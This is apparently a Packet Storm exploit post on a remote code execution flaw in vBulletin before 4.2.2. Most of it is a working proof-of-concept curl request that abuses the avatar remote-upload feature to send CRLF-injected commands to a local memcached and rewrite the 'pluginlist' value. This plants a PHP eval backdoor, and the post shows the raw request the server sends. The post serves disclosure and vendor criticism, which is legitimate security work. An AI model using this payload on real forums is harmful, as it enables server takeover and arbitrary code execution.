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vBulletin Memcache Remote Code Execution

🗓️ 15 Aug 2015 00:00:00Reported by Joshua RogersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

vBulletin Memcache Remote Code Execution vulnerability in versions before 4.2.2 allows remote attackers to execute arbitrary code via forged requests to the memcached pluginlist value using cURL

Code
`Not really a 0day since it's fixed in some versions, but still an  
exploit that doesn't seem to be "that" public. Please note, I didn't  
find this.  
  
vBulletin's memcache setting is vulnerable in certain versions(all  
before 4.2.2) to an RCE. vBulletin seem to have refused to classify it  
as a vulnerability or post anything about it, or put anything in the  
announcements on their website. They say "PL2 (4.2.2) should prevent the  
use of localhost," however that doesn't help people using previous  
versions(which they appear to support with patches, still.)  
They also haven't updated previous versions of vBulletin for this bug,  
despite it being reported that it works on versions prior to 4.2.2.  
  
Of course though, the most important thing is, they haven't announced  
there even is/was a vulnerability in any version.  
  
  
Anyways, here it is:  
> Remote Upload allows to send arbitrary data to loopback-only services, possibly allowing the execution of arbitrary code Exists in vB4  
> The remote upload as implemented by the vB_Upload_* classes and vB_vURL (at least in vB 4.2.x, most probably earlier releases are also affected, and vB 5 might be affected as well) does not restrict the destination ports and hosts for remote uploads. This allows an attacker to abuse the function to as a proxy commit TCP port scans on other hosts. Much worse, it also allows to connect to local loopback-only services or to services only exposed on an internal network.  
>  
> On a setup running e.g. Memcached in default configuration (bound to localhost:11211, no authentication), the latter can be exploited to execute arbitrary code by forging a request to memcached, updating the `pluginlist` value.  
>  
> Proof-of-Concept using cURL:  
> —  
> $ curl 'http://sandbox.example.com/vb42/profile.php?do=updateprofilepic' -H 'Cookie: bb_userid=2; bb_password=926944640049f505370a38250f22ae57' --data 'do=updateprofilepic&securitytoken=1384776835-db8ce45ef28d8e2fcc1796b012f0c9ca1cf49e38&avatarurl=http://localhost:11211/%0D%0Aset%20pluginlist%200%200%2096%0D%0Aa%3A1%3A%7Bs%3A12%3A%22global_start%22%3Bs%3A62%3A%22if%28isset%28%24_REQUEST%5B%27eval%27%5D%29%29%7Beval%28%24_REQUEST%5B%27eval%27%5D%29%3Bdie%28%29%3B%7D%0D%0A%22%3B%7D%0D%0Aquit%0D%0A.png'  
> —  
>  
> This leads to vBulletin opening a connection to the Memcached (localhost:11211) and sending the following data:  
> —  
> HEAD /  
> set pluginlist 0 0 96  
> a:1:{s:12:"global_start";s:62:"if(isset($_REQUEST['eval'])){eval($_REQUEST['eval']);die();}  
> ";}  
> quit  
> .png HTTP/1.0  
> Host: localhost  
> User-Agent: vBulletin via PHP  
> Connection: close  
>  
> —  
> This will cause the Memcached to update the `pluginlist` to contain the malicious code.  
>  
> Furthermore, the remote upload happily follows all kinds of redirects if provided with an appropriate Location header.  
  
  
(P.S: Dan, if you're reading this, pls come back <3)  
  
--   
-- Joshua Rogers  
  
  
  
`

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